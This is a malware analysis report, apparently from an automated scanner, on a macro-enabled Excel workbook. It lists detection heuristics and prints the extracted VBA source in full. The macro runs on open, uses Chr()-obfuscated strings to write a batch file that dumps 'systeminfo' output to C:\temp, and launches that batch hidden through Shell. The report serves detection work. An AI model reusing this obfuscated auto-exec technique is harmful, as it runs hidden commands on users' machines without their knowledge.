Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 a143e28806fbeb65…

MALICIOUS

Office (OOXML) / .XLSX

15.5 KB Created: 2026-04-07 11:05:37 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-28
MD5: 012404aa0573f9b89220d09b02626a75 SHA-1: 8ff1090f299562ddb29ddab1443b83dff9da51da SHA-256: a143e28806fbeb65c9ff08a8d22b15695e5d83a90a83450ef96fe4d0a6f9b194
196 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        l = Shell(f, 0)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        ' MkDir через Application.Run
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4268 bytes
SHA-256: 746347a45974f95cba22fd20dc54ebae3f6e14d77648b39efe719cf9848757ef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    A "Workbook_Open"
End Sub

Private Sub Workbook_Activate()
    A "Workbook_Activate"
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    A "Workbook_BeforeClose"
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub A(t As String)
    On Error GoTo X
    
    Dim b, c, d, e, f, g, h, i, j, k, l, m
    
    ' Обфусцированный путь C:\temp
    b = Chr(67) & Chr(58) & Chr(92) & Chr(116) & Chr(101) & Chr(109) & Chr(112)
    
    ' MkDir через Application.Run
    On Error Resume Next
    Application.Run Chr(77) & Chr(107) & Chr(68) & Chr(105) & Chr(114), b
    On Error GoTo X
    
    ' Обфусцированный timestamp
    c = Format(Now, "yyyymmdd_hhmmss")
    
    ' Обфусцированные имена файлов
    d = Chr(114) & Chr(117) & Chr(110) & Chr(95) & Chr(115) & Chr(121) & Chr(115) & Chr(105) & Chr(110) & Chr(102) & Chr(111) & Chr(95)
    e = Chr(46) & Chr(98) & Chr(97) & Chr(116)
    f = b & Chr(92) & d & c & e
    
    g = Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(105) & Chr(110) & Chr(102) & Chr(111) & Chr(95) & Chr(111) & Chr(117) & Chr(116) & Chr(112) & Chr(117) & Chr(116) & Chr(95)
    h = b & Chr(92) & g & c & Chr(46) & Chr(116) & Chr(120) & Chr(116)
    
    i = Chr(101) & Chr(120) & Chr(101) & Chr(99) & Chr(95) & Chr(108) & Chr(111) & Chr(103) & Chr(95)
    j = b & Chr(92) & i & c & Chr(46) & Chr(116) & Chr(120) & Chr(116)
    
    ' Создаём .bat файл (обфусцированное содержимое)
    k = FreeFile
    Open f For Output As #k
    Print #k, Chr(64) & Chr(101) & Chr(99) & Chr(104) & Chr(111) & Chr(32) & Chr(111) & Chr(102) & Chr(102)
    Print #k, Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(105) & Chr(110) & Chr(102) & Chr(111) & Chr(32) & Chr(62) & Chr(32) & h
    Close #k
    
    ' Запускаем .bat через Shell (обфусцированно)
    l = Shell(f, 0)
    
    ' Проверяем результат
    If l <> 0 Then
        m = Chr(85) & Chr(83) & Chr(105) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(32) & Chr(45) & Chr(32) & Chr(80) & Chr(73) & Chr(68) & Chr(58) & Chr(32) & l
    Else
        m = Chr(70) & Chr(65) & Chr(73) & Chr(76) & Chr(32) & Chr(45) & Chr(32) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114)
    End If
    
    ' Пишем лог
    Open j For Output As #k + 1
    Print #k + 1, Chr(61) & Chr(61) & Chr(61) & Chr(32) & Chr(66) & Chr(65) & Chr(84) & Chr(32) & Chr(76) & Chr(79) & Chr(71) & Chr(32) & Chr(61) & Chr(61) & Chr(61)
    Print #k + 1, Chr(84) & Chr(114) & Chr(105) & Chr(103) & Chr(103) & Chr(101) & Chr(114) & Chr(58) & Chr(32) & t
    Print #k + 1, Chr(84) & Chr(105) & Chr(109) & Chr(101) & Chr(58) & Chr(32) & Now
    Print #k + 1, Chr(66) & Chr(97) & Chr(116) & Chr(32) & Chr(112) & Chr(97) & Chr(116) & Chr(104) & Chr(58) & Chr(32) & f
    Print #k + 1, Chr(82) & Chr(101) & Chr(115) & Chr(117) & Chr(108) & Chr(116) & Chr(58) & Chr(32) & m
    Print #k + 1, Chr(79) & Chr(117) & Chr(116) & Chr(112) & Chr(117) & Chr(116) & Chr(32) & Chr(102) & Chr(105) & Chr(108) & Chr(101) & Chr(58) & Chr(32) & h
    Close #k + 1
    
    Exit Sub
    
X:
    ' Логируем ошибку
    On Error Resume Next
    Open j For Output As #99
    Print #99, Chr(69) & Chr(82) & Chr(82) & Chr(79) & Chr(82) & Chr(58) & Chr(32) & Err.Number & Chr(32) & Err.Description
    Close #99
End Sub

Sub Auto_Open()
    A "Auto_Open"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: b503fb103b5e9dd13bd92479f02426caf8035827d966e03e117ab4eedce2b483